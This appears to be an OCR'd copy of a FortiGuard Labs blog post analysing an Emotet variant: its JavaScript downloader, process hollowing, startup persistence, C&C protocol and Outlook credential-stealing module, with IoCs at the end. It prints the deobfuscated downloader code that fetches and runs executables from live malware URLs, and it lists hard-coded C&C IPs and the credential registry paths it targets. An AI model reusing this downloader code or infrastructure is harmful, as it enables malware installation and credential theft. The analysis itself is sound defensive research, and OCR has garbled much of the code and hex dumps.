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Background

Last week, FortiGuard Labs captured a JS file that functions as a malware downloader to spread a new variant of
the Emotet Trojan. Its original file name is Invoice__779__Apr___25___2017___lang___gb___GB779.js. AJS

file, as you may be aware, is a JavaScript file that can be executed by a Window Script Host (wscript.exe) simply
by double-clicking on it. In this blog we will analyze how this new malware works by walking through it step by

step in chronological order.

A JS file used to spread malware

The original JS code is obfuscated, and therefore hard to understand. Based on my analysis, its task is to generate
a new JS code into an array and execute it. The new code is easier to understand, as you can see in the code
snippet in Figure 1. As I mentioned, it’s a downloader tool that tries to download malware from five URLs onto
the affected device. Once one download is finished, the malware is saved to the system temporary folder as

“random name.exe” and executed.
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function getDhata(callback)
Ttry{gethataFromlUrl | "hi Wl lenberg.co. za/ TunZd
{if [ ! error){re callback(result, false): } else
{gethataFromlr Ltp: /S /meanconsulting. com/ K449753/ ", functionire

", function(result, error)

s Brror)]

1if [ ! erroyf {return callback(result, false): } else
{getDataFroyirl ("http: /S microtecno. comd 117281nfryG/ ", functioniresult, rror)
{1if [ ! errlbr) {return callback(result, false): : else

rli"http://thefake.com/ Y2155 veXR/ ", function(result, err
return callbackiresult, false): ! else

ttp://odoprojectgraduation. com/ealz156120/",
llback (result, false): | else

igetlhataFro
{1if [ ! erro
{gethataFromlr
{1if [ ! error){ret

£

ion(result, error)

fTunction gethataFromUrliurl, callback)

{try{wvar ¥mlHttp = new ALctiveXObiject ("MIEMLZ.XMLHTTP™) :

xnlHttp.open ("GET™, url, false): xwlHttp.send(): if (xwlHttp.status == 200)

{return callbackixmlHttp.Responsebody, false): !} else

ireturn callbackinull, true);: } } catch [error)

{return callbackinull, true): ¥ 1}

function getTewmpFilePathi)

itey{ wvar fs = new ActiveXObject ("Scripting.Filel3ystemZhject™):;

var thpFileNasmwe = "% "™ + Math.random() .to3tring(36) .substri(2, 9) +".exe™;

var thpFilePath = f£3.Get3pecialFolderizZ) + twpFileNatre; return twpFilePath; | catch (error)

ireturn false; } 1}

function saveToTemp (data, callback)

itry

{war path = getTempFilePathi(l: if [(path)

{war obj3treamw = new LotiveXUbject (TLDODE.Ztream™): objStream.Openi): objStream.Type = 1:
obhjStreasm. Write (data) ; obj3tresw.Position = 0: objStream.SaveToFile (path, 2):
obiZtream.Close () return callback(path, falsel; } else

ireturn callbackinull, true): : } catch [error)

{return callbackinull, true): ¥ 1}

getDhata (function(data, error){if [ ! error){
saveToTemp (datsz, funcetioni(path, error){if( ! error)
{Lrwi

var wsh = new ActiveXobject ("W3cript.Shell™) :
w=zh.Run (path) ;

Figure 1. Snippet of the generated JS code

Running the downloaded exe file

While the downloaded exe file is executed, it moves itself to “%Local AppData%\random name\random
name.exe” . A random name for the file is generated using local file names. You can treat it as any random name,

however, in my environment, the name is “LatnParams.exe”.

To protect itself, once LatnParams.exe is executed it extracts code from itself, inserts it into a newly-created
LatnParams.exe by calling the CreateProcessW function with a CREATE_SUSPENDED flag, and then restores
the second process to run. Once that is complete, the first process exits. Later, the LatnParams.exe’s Ink file is
created inside the Startup folder in the system Start Menu so it can automatically run whenever the system starts.

See Figure 2.
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Figure 2. Malware in Startup folder

The main function of the second process

Next, we’ll look to see how the code works inside the second process that is created. There is a hidden window

created for the second process. Its WindowProc function is to handle all windows messages for the window. This

malware uses a WM_TIMER message to initiate it. Calling the SetTimer function can generate such a message.

Once this window is created, a WM_CREATE message is sent to the WindowProc function, where it calls the

SetTimer function to keep the system posting WM_TIMER messages every 200ms and then callback the

window’s WindowProc function.

aaue2cy?  SetTimer
A84082C 49

A8482C49 push
A8482C4B  push
A8482C58  push
A8482C546 push
A84pe2csy  call
A84082C5D

g ; CODE XREF: WindowProc+1171j
; WindowProc+637j ...
a ; jumptable B88482BF5 default case
AC8h
ds:dword _4185CC ; ;:;Timer ID
ebx
ds:SetTimer

Figure 3. Call SetTimer Function

Next, we will examine this WindowProc function. Figure 4 is the structure of this function in pseudo code.
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int _ stdcall WindowProc{int a1, int a2, int a3, int a¥)
{

[llllll]

case 6:

sub_483A208(); // Collect victim system's information and encrypt.
w17 = wa();

dword_4185D8 = 7;
dword B18SEB = ui7 + 2288;
break;

case ¥:

if { *sub_4B3AEB{) )} // Communicate with C&C server.
goto LABEL_Z23;
dword_4185D8 = 8;
dword B18%EB = uia() + 2280;
break ;
case 8:
if { sub_483B38() ) ;/ Decrypt the reply data from C&C server.
{
v2E = va();

dword_4185D8 = 93
dword_4185E@ = uZ0 + 22088;
b
else
{
LABEL 23:

ul8 = dword_4185E8 + 1]
if { *CnC_Server_ IP[2 = {dword 4185E8 + 1)] )// Get hard-coded C&C server IP{s)
vl = 8;
dword 4185E8 = uilg;
v19 = uwha();
dword_ 4185D8 = 6;
dword L185%EB = viD + 300088;
H
break ;
case 9:
sub_A483BAB(); s/ Parse decrypted data from C&C server.
w21 = va();
dword_4185D8 = 6;
dword L18SEB = u21 + 900868;
break;

[llllll]

b

Figure 4. WindowProc Function

Case 6 Code Branch

In the case 6 code branch, the malware collects system information from the affected device, including computer
name, country name, the names of all running programs, and content about whether or not MS Office Outlook is
installed. It then puts all the collected data together into a memory buffer and encrypts it. Figure 5 shows the data

ready for encryption.
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00634925\ 08 10 12 AA|03 DA 14 41 gl MADMIN-PC
(0654956 FEEAEENER RS RIS IS aNdd Gt 5 wl9DIEET

O0E24948 | 1A F8 02 BB L3 T4 T3 T4 vatem Fruce
O0B34958 | T3 T3 6D 20|63 T9 T3 T4 SS] svstem, smes.
OOEz4968 |65 T8 Bh 20 63 T3 T2 73 EXE, CSTSS. eXe, Wi
O0E=4978 | 6E 62 BF BY BF BE ZE 6L |ngDn.exe,w1n1
OOE24958 |69 74 2E 65 T8 Bh 20 T3 1t. exe, services.
O0EZ4998 | 6h T8 Bh 20 60 T3 B1 T3 exe, lzass. exe, 1=
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Figure 5. Collected data from the victim’s system

As you can see, the first part is the computer name. Following “16 00 01 00” is the CPU information. The next
part is the running process names, followed by the string “Microsoft Outlook,” which means that MS Office
Outlook is installed on this machine. You may also notice that the debugger name “OllyDBG.exe” is also in the
process name list. Through my analysis I found that the C&C server checks the process names. If it learns that a
debugging-related tool (such as OllyDbg, WinDbg, IDA Pro, etc.) is being running on the victim’s machine, a
different response is returned. In this case, it replies with a new version of itself, causing itself to upgrade again

and again until those tools exit.

After encryption, it copies the encrypted data, the encryption key, and the hash value together into a new buffer. It

then sets the next case number to 7 and exits the case 6 branch.

Case 7 Code Branch

In the case 7 code branch the main function is to connect to the C&C server and send collected data to the server.

It also receives data from the C&C server. We’ll take a look at how it works here.

The C&C server’s IP and port are hard-coded. In this version there are eleven, as shown below:

004175D0 ; DATA XREF: WindowProc+257r
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004175D0

004175D0

004175D4

004175D8

004175DC

004175E0

004175E4

004175E8

004175EC

004175F0

004175F4

004175F8

004175FC

00417600

00417604

00417608

0041760C

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd

dd
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;sub_403AE0+Co

0D453A62Dh ;212.83.166.45

1F90h ;8080

OADE68843h ;173.230.136.67

1BBh ;443

OADE@DA19h ;173.224.218.25

1BBh ;443

68E38922h ;104.227.137.34

1BA8h ;7080

894AFE40h ;137.74.254.64

1F90h ;8080

0BCA5DCD6h ;188.165.220.214

1F90h ;8080

558FDDB4h ;85.143.221.180

1BA8h ;7080

77521BF6h  ;119.82.27.246

1F90h ;8080
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00417610 dd 0C258F607h ;194.88.246.7

00417614 dd 1F90h ;8080

00417618 dd OCED6DCAFh ;206.214.220.79

0041761C dd 1F90h ;8080

00417620 dd 68ECO2FDh ;104.236.2.253

00417624 dd 1BBh ;443

It gets the data generated in the case 6 branch and encodes it using base64. It then sends the base64-encoded data

as a Cookie value to the C&C server. Figure 6 shows the data in Wireshark.

M Wireshark - Follow TCP Stream (tcp.stream eq 0) - 404error - O X
GET / HTTP/1.1 A
Cookie: 885=V+vI9QCLNCdvsbodgigL YlOIYsGuTAS1hPZlmlszahVnnG:lgShSm

+4Iwll6hrcB38eGE1G i ae rsLl2pwh07GNGGUL/ Bhon+gb/
ivivdeKgmm7UOwaerE s 37pEYwe T 1AGI zkhryhQAS zMusY/ /ME z@wXmigQpk7 LUGYKS Tx+u3qCaleU1Z0nVQa0opH28GCDgD

+BqRpluxATkjML9IKUATFriM0xy 5 1Fmp3sKaXubet2BcVkDYVo0BuzB6z 3eFLG2HYS,/ POAMBCNPBYGNpYy Teya/
ZAJ25gU0TwWvE BAOmBQ]HucPrFOyﬂHs?sz‘hl;’vH1pCIzPAOb,.’CFVme‘t)(bA+]pr'arw:|Gs+)(sGlAZc?HJa)(V

+5aQaBudyHQrkux suk?n-:lrfYEw-l—r'?Ggh/
256WIdINNNEXWSAIXA1 L Tt {059 P Y xGasYeBh2dgyvdra/PAM/
1LjLIcegnglLt

User-Agent: Mozilla/5.@ (compatible; MSIE 8.8; Windows NT 5.1; SLCC1; .MNET CLR 1.1.4322)
Host: 85.143.221.188:7888

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 484 Not Found

Server: nginx

Date: Wed, 26 Apr 2817 18:47:12 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 178324

Connection: keep-alive

. | .

053 . yIC. ZaM. .. 5. .. 54<Bno.Z. .y AL ) . .dsp. BRO. ce.m.Lnaw. MLl 2] LRSS L. [ TR RN | 5L " S - 1

Wi RIS s A i s e D e T e B e S (oot e cotoo 2:.a..D%q.

$....D{YO. ... M.._."P[....BU.c. M./} {.~ T .. .ffuHN. . .P].da . CO. || T

B-.J....wla.M....voLpho o orcL Bl L LB LML L LgLs owE LY L L udL L LT JEFT L= 00 2L L JROPRL AT, L L L LF L.

s R SR [ P, 3 [P SV o d._&.. o - e TR e e s oraemit Sl L DG s Lo G R WX:
..K..Q....?K,. RN | P PR —— o {8 ...F..D...* ...,(.,.w3q...'bR ............ B i i

I FraiMBd B suivesinrs B e e CE AR Moo men P . | .

e S s e e e G- =

$ ce.. . x.E.. .oyl L BLpBo .. XTS5 .o~ WL/l l5aLl90 0 L ovPo.HAmY+. L iut. sv.fi..a..

6. yEM. ...yt Cuaesas AfH.b!. s— 2. \g]P. 9. . R.[-Feeeeeee oo i) oWwlco . plG... .Gwd

SN T T R Y, (R I i . o, R U[.B..T...~

coB..9..+...3F..P.<:JMRB.. [de.......

waleeC-QF.nam.. .. Po GotmH{ILX]H.BoUz e e a e s-Tub.U.....B.o.w?. . I.yzRFaw.0. .. ...cH>. L0 Ko eee e aaaa X.

bl i#n A YU TR = X M. .1 <. xh. G b4 GY.68d : =l 27
1 client pktfs). 123 sarver phifs) 1 fum.

Entire conversation (179 kB) - Show data as | ASCIL - Stream
Find: | [ Findmext |

Hide this stream Print Save as... Close Help

Page 7 of 14



https://www.fortinet.com /blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html

Figure 6. Send collected system information to C&C server

In Figure 6, the status of the response from C&C server is “404 Not Found.” This message is used is to confuse
analysts. The body, however, is the encrypted data. After receiving all data from the server, it sets the next case

number to 8 and exits this branch.

Case 8 Code Branch

The only thing done in the case 8 branch is decrypt the data received in case 7. It then exits this branch and sets

the next case number to 9.

Case 9 Code Branch

The case 9 branch is used to process the data decrypted in case 8. Figure 7 is a part of the pseudo code of case 9.

switch { vé )
1

case 1u:

case 2u:
sub_483560(v?, viB); ;7 upgrade itself.
break;

case 3u:
sub_483668(v9, (unsigned int)ui1@ >> 1);// to download a file and execute it.
break;

case hu:
u5 = sub_4B19B8B({vY, vld);
if ( vs )

CreateThread{8, @8, Thread fun, v5, @, @);// load modules in thread functions.

break;

case 5u:
sub_ uWB2658() ;
sub uBZ26F8();
break;

default:
continue;

Figure 7. Pseudo code of case 9

There are some sub-cases in the case 9 branch. The case number “v8” comes from decrypted data. Following are

two examples of the decrypted data.

In Figure 8, “08 01” is about a sub-case. “08” is a kind of flag or C&C command, and “01” refers to sub-case
number 1. As you may know, the following data is an .exe file. In the sub-case 1 branch, this file is executed to
upgrade the Emotet malware. Usually, it receives an upgrade command because the C&C server has detected that
there is debugging-related tool in the running program names. It’s a way to both protect itself against debugging
and confuse analysts. In sub-case 1 branch, it saves the .exe file into a system temporary folder and runs it by

calling the ShellExecuteW function. Meanwhile, the parent process exits to finish the upgrade.
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00418504 BT EC mav bh, OFEC

004185DC| 845F 24 test byte ptr [edi+24], bl

N0d185DE | &D ins dword ptr es:[edi], dx

O04185E0| 87RO DOOR0O00 |xchg dword ptr [eax+8D0], esi

O04185E6| 0000 add byte ptr [eax], al

O04185E8| 0000 add byte ptr [eax], al

O04185E4| 0000 add byte ptr [eax], al

004185EC| AR BF test al, OBF

O04185EE|  BA OO push 0

O04185F0| 1294 02000000 |adc bl, byte ptr [edst?]

O04185F6| 0000 add byte ptr [eax], al

O04185F8| 0000 add byte ptr [eax], al
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Figure 8. Sub-case 1 example
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Figure 9. Sub-case 4 example

I manually modified the “OllyDBG.exe” to another program name before encryption (refer back to Figure 5).
Then I was able to get the response shown in Figure 9. The flag changes to “08 04”, where “04” means sub-case
number 4. In my analysis, it contains 3 modules (.dll files) in the decrypted data. The flags for all of them are “08
04”. Which means the modules are all processed in the sub-case 4 branch. As you can see in Figure 7, the sub-case
4 calls the CreateThread function to create threads and run the modules in the ThreadFunction, with one thread for

one module.

So far, we have only finished the analysis of one of the three Emotet modules. We are still working on analyzing

the others, and will share that analysis in another blog.
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So next, let’s take a look at what this module is able to do.

The module loaded in a thread

Based on my analysis, this module steals credential information from a victim’s machine. It then encrypts that

stolen data and sends it to the C&C server.

When this module is loaded in the ThreadFunction, it inserts the code extracted from itself into a newly-created

LathParams.exe process to run. The newly-created process has a command line parameter like

“%temp%\A98b.tmp”. This is a temporary file used to save the stolen credential information.

It is able to steal credentials for Google accounts, FTP accounts saved in IE, Google Talk, Office Outlook,

IncrediMail, Group Mail, MSN Messenger, Mozilla Thunderbird, and many others. The following screenshot

shows some of them.

DA vie... [E mavie.. (] [& stingswin.. (] B Hexvie.. [ struct.. [ [Elen.. [ mp.. [ [ Exp. [
seqBB0:00413871 align &4 ~
seqBB0: 80413874 aSoftwareMicros db ‘Software\MicrosoftiInternet Account Hanager\Accounts',@

seqBBO: 08413874 ; DATA XREF: sub_4B82C1E+9Fio

Sseqbpo: 08413874 ; sub_u@3c17+Caio

seqd@0:004138A7 align &4

seqbpo:BB4138AC ass db "%s53%s5°,0 ; DATA XREF: sub_482C1E+6270

seqAB0:A04138E2 align &4

seq0@0: 80413884 aSoftwareMicr_B8 db 'Software\Microsoft\0ffice\0utlook\0MI Account Manager\Accounts',®
seqBBA:004138BL ; DATA XREF: sub_LB2C1E:1loc_4B2CFBTo
seqBO0:004138BL ; sub_4B3C17+ESTo

seqBB@:804138F3 align &4

seqBBO:004138FL aDisplayname db ‘DisplayMame’,8 ; DATA XREF: sub_482D74+5970

seqfBf: 60413900 aEmailaddress db 'EmailAddress®,@ ; DATA XREF: sub_482D74+8670

seqABa:a8413908D align 186h

seqBBB:ee413910 aPopaccount db *PopAccount’,B ; DATA XREF: sub_482D74+9CTo

ceqAf@:A60413918 ; sub_483127+1807T0

seqA00:00413918 align 4

seq@BB:oe41391C aPopserver db *PopServer’,8 ; DATA XREF: sub_u482D74+B270

seqA80:8841391C ; sub_483127+6270

Seqbpo: 88413926 align &4

seqdB@0:00413928 aPopport db “"PopPort-",@ ; DATA XREF: sub_482D74+C570

SeqBpB:08413930 aPoplogsecure db *PopLogSecure”,@ ; DATA XREF: sub_u82D74+DéTo

seqABa:A6041393D align 186h

SeqbpB:ee413940 aPoppassuword db *PopPassword’,B ; DATA XREF: sub_u82D74+F1io

seq@BB: 413940 aSmtpaccount db *SHTPAccount®,@ ; DATA XREF: sub_LB2D74+136%0

seqHiB: 00413958 aSmtpserver db "SHTPServer®,8 ; DATA XREF: sub_4@82D74+14Cio

seqBB@: 00413958 ; sub_4B33B1+3CTo

seqB00:00413963 align &4

SeqbpB:ee413964 aSmtpport db *SHTPPort',@ ; DATA XREF: sub_u@82D74+16270

seqAB0: 80413960 align 16h

SeqbpB:08413970 aSmtplogsecure db “SHTPLogSecure®,B ; DATA XREF: sub_u@2D74+17610

seqAB@0:A841397E align 186h

seqHOB: 00413988 aSmtppassword db "SHTPPassword®,8 ; DATA XREF: sub_482D74+191i0

00013928 00413928: 3eqgl00:aPopport (Synchronized with Hex View-1) W

<

Figure 10. Targeted email-related credentials

For testing purposes, I added a test account into MS Office Outlook to see how it works. The account profile is

shown here in Figure 11:
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- nail =
E-mall | Data Files | RSS Feeds | SharePoint Lists | Internet Calendars | Published Calendars | Address Books | e
"' "L il B | .,
1 Change Account @
i
Internet E-mail Settings
g Each of these settings are required to get your e-mail account working.
User Information Test Account Settings
Your Mame: just_test After filing out the information on this screen, we
= recommend you test your account by dlicking the button
E-mail Address: test1_test1@gmail.com below. (Requires network connection)
Server Information

L] [ Test Account Settings ...
Account Type: POP3

1= . o
Tt o ey [7] Test Account Settings by dicking the Mext button

Il

Qutgeing mail server (SMTP): | smitp.gmail.com

Logon Information

User Mame: test1l
Password: Rk
Remember password

Reguire | ing 5 Password Authenticati SPA
[]Require lagon using Secure Password Authentication (SPA) T

< Back i Mext = ][ Cancel ]

*JDDDDDEjH

ITT_TT I I L 1 I A I L I | I IN =TT e 1 I LI T T T TITTT

Figure 11. Test account added into Outlook

The stolen credential data is saved in the temporary file specified in the command line parameter, where it will be
encrypted and sent to the C&C server in the ThreadFunction. In the following several figures you can see the
stolen credential information in the temporary file, the data in memory before encryption, and the data sent to the
C&C server.

| A98B.tmp - Notepad — O x

Eile Edit Format in— \

just_test,MS AUutlook
2082,/2003 /2007 /2010 ,test]l_testl@gmail.com,pop.gmail.com, ,Mo,POP3,testll,”
yStrong, s .gmail.com,

password*",Outlook

Figure 12. Stolen credential
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oM K e 0 s e

Bh 24 push 24 CryptEncrypt
TA49DL364A| 6 BR1IBSET4 push TA9E1R68
TA9DLE6F | ER CC3R0000 call TA9DE940
BE 1roaa A3 A3

TAQDE ST A

DOEEEREC| 08 12 12 A5 01 0A 14 41 44 4D 43 4E 2D 50 43
Q06520 50 53 BF 35|31 39 44 39 56 45 57 12|54 01 64
DOEEEEAC| T3 74 BF T4 6b 73 74 20 4D b3 20 4F | Th T4 6C
DOEEEEEC|BF 6B 20 32 30 30 32 ZF 32 30 30 33 2F 32 30 3
DOEEERCC| 37 ZF 32 3031 30 20 74 65 73 T4 31 5F T4 65
QOeEEREDC| T4 31 40 BY 6D 61 69 6C ZE 63 6F €D 2C TO 6F
OOEERREC| ZE BT BD Bl 69 60 UE 63 6F ED 20 ZC 4E 6F 20
DOEEEEFC|4F B0 33 20 74 66 73 T4 31 31 2C 22 24 TO 61
DOBERE0C| T3 77 6F T2 64 ZA 24 2C 4F 75 T4 6C &6F EF 6B 2
DOEERE1C| 53 74 T2 BF BE 6T 2C 73 6D 74 TO ZE 67 6D 61
OOEEREIC| 60 ZE 63 BF 6D ZC 0D 0A 30 56 66 00 00 00 00 00
DOEEEESC| 00 00 00 00 B2 CT D8 BF E4 D9 00 00 EO 19 69 00].
DOEE5E4C| 80 44 66 00 50 56 66 00 50 b6 66 00 6C 55 66 00

0324F868 or
O324FE6EC| 00
0324FET0| 00
0324FET4| 00
O32dFaTa| 00
O324FETC| 0:
0324FE80| 00
0324F=E84| 00
032dFa88| 00
O324FE3C| 0O
0324F890| 00
0324F294| 00

ok 2002/2003/200
T/2010, testl _tes
t1@gmall. com, pop
.gmail. com, , Mo, P
0OF3, testll, “*pas
sward+”, Dutlook,
trong, smtp. gmal

OOGGSE5C |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|, .. ... ;«eeeee.... 0324F292| 0O
OOEEEEEC 14 05 00 00 54 £3 D1 54 €4 D9 00 08 18 84 65 oo|q T@ﬁT** g1xl. 0324F29C| 0O
OOREEETC |58 4D 66 000D 00 00 00 CO DO EO FO|82 D9 D3 OF |XMFf. .. .. 359 0324FBA0| 0F
OOEEEERC |00 00 OO0 88|65 15 13 D9 DD E1 9E 4C AT 28 95 19 .;.iﬁiuf*$ L 0324F84d| O
OOEE5EAC |99 C2 AD BS | F4 02 00 00 01 00101 00(35 00 00 00|48 -2.. o .5.. (| 0324FaA8| T
ODBEEEAC|00 34 66 00 FF FF FF FF 00 00 00 00 00 00 00 00|.4f. - = » -.... — | 0324F24AC| OC

Figure 13. Before encryption

e QllyICE - - [*C.P.U" - thread 00000B5C, module ws2_32] == =]
E File View Debug Plugins Options Window Help F\@L’
e s 3 N e = O o s s e e s S el

SBFF mov edi., edi send +|Registers (FPI)
SFCCACA| BB push ebp - | ED¥ 00000000

edi=0067T9E0 §§§ 000903?8
OOEC3BFO( 47 45 54 20| 2F 20 48 54|54 50 2F 31|2E 31 0D OA|GET / HTTFA1.1.. - IORPEENIES Tos91D3T | rCALL to send from wininet -
006C3C00(43 6F 6F 6B|69 65 3A 20|43 30 32 46|30 69 4C 57 |Cookie: COZF=1LW 0324F630( 00000378|] Socket = 378
Q0BC3C10|T9 34 6B 6745 77 44 70|38 62 6E Vo 40 TA 48 55| vdkeEw]pibrulzHS 0324F634| 006CSEFO|| Data = Q0GCSEFO
Q0eC3C20|44 48 68 42|57 , - 3 Pl | [HHEWorn TCREPMEC 0324F632| 0000024C|| DataSize = 24C (5R88.)

006C3C30|4F 74 70
006C3C40| 76 36 33
0060305032 4E 56

00BC3CE0| 64 B4 y
00BC3CT0| 46 B4
006C3CE0149 66
006C3090|4C &
006C3CAD| 4T 3
006C3CE0| 31 §
006C3CC0| 6B

S1HG001c0iGE 0324F63C| 00000000|LFlags = 0
0324Fe40) 00000000
0324Fedd| Q0B5FE00
0324F645| 0063BAD3
0324F64C| 0324F633
0324FE50] 00000000
0324F654| 03Z4FF50
0324F658 | r0324F6T4
0324F6EC || 76386593 | RETURN to wininet. 76386593
0324F660|[ 00641758

1 f0TZ9Bxh0/B5T s
krMEDW £Gvall{HARD

006C3CD0| 6F olEzQE6dp 381 vp ol 0324Fe6d || 0085TCEO
006C3CED| 4E B NGLok JOrRYBUAELP 0324F6ER|| 0324F6T74
006C3CF0) 45 EIiJfnaudD/90H im 0324F66C || T6391C60|RETURN to wininet. T6391C60

00BC3D00| 36 o
006C3010| 30 47
006C3D20) 31
006C3D30| 69
006C3040| 74
006C3D50| 2B
006C3D60| 37
00BC3DT0| 44

Ef3]oTaP JTABTETe 0324Fe70) [ 00000000
OESZXMIF t xZml A, 0324F6T74| Z0324F6Rd
113Nz =] aa0EET 0324F673|| 76388607 |RETURN to wininet. T6388607
0324F67C| [ 00B5FE00
0324F6E0 | 00BALTSS
0324FeE4 | 00000000
0324F65E3 | 80000000 |
0324F65EC| [ 00000000

006C3D80| 2B e it BP LT, +1b4t fsIEpQ/ JE0m 0324F630|[ 00000000
006C3D30| 37 76 41 3D 3D 0D 04 55|73 65 72 ZD|41 67 65 6E|TvA==..lUser-Agen 0324F694 || 00841758
D06C3DA0| 74 34 20 4D 6F TA 69 6C|6C 61 2F 35|2FE 30 20 28|+t: Mozilla/B.0 0324F633 | 00000000
D0BC3DB0| 63 6F 6D 70|61 T4 69 62|60 65 3B 204D 53 49 45| compatible; NSIE 0324F69C | [ 00CC000C
006C3DCO| 20 38 ZE 30| 3B 20 BT 69| 6E 64 6F 77|73 20 4E 54| 8.0; Windows NT 0324F6A0 | 006A1TES
006C30D0| 20 35 ZE 31| 3B 20 53 4043 43 31 3B|20 ZE 4E 45| 5.1; SLOCL; .NE [ 0324FEA | OBSC0304
N06C3DEQ|54 20 43 4C\ 52 20 31 2E|31 2E 34 33|32 32 29 0D|T CLR 1.1.43322). — | 0324F6AR|| 0916BT19
00GC3DFO| 04 48 6F 73|74 34 20 3131 35 ZE 3238 ZE 30 ZE|.Host: 1150 28,0, 0324F6AC| [ 00000001
00BC3E00)31 39 33 34|34 34 33 0D 04 43 6F 6E|6E 65 63 74|193:443. . Connect _|0324FERD || BEDO4526 N
ANECERI Nl cG BF AR 2600 AR AR AEITA M A1 ACIAG TE AR (NI ane Kaon—b1ioa AZTARERA | -NRIARANT

Figure 14. Data sent to the C&C server

Page 13 of 14



https://www.fortinet.com /blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html

Solution

The original JS file has been detected as JS/Nemucod.F436!tr and the downloaded Emotet exe has been detected
as W32/GenKryptik. ADJR!tr by the FortiGuard Antivirus service.

IoC

URL:

"hxxp://willemberg.co.za/TwnZ36149pKUsr/"
"hxxp://meanconsulting.com/K44975X/"
"hxxp://microtecno.com/i17281nfryG/"
"hxxp://thefake.com/Y96158yeXR/"
"hxxp://cdoprojectgraduation.com/eaSz156120/"

Sample SHA256:

Invoice__779__Apr___ 25 2017___lang gb_ GB779.js

B392E93A5753601DB564E6F2DC6A945AAC3861BC31E2C1ESE7F3CD4ESBB150A4

Source: https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-1.html
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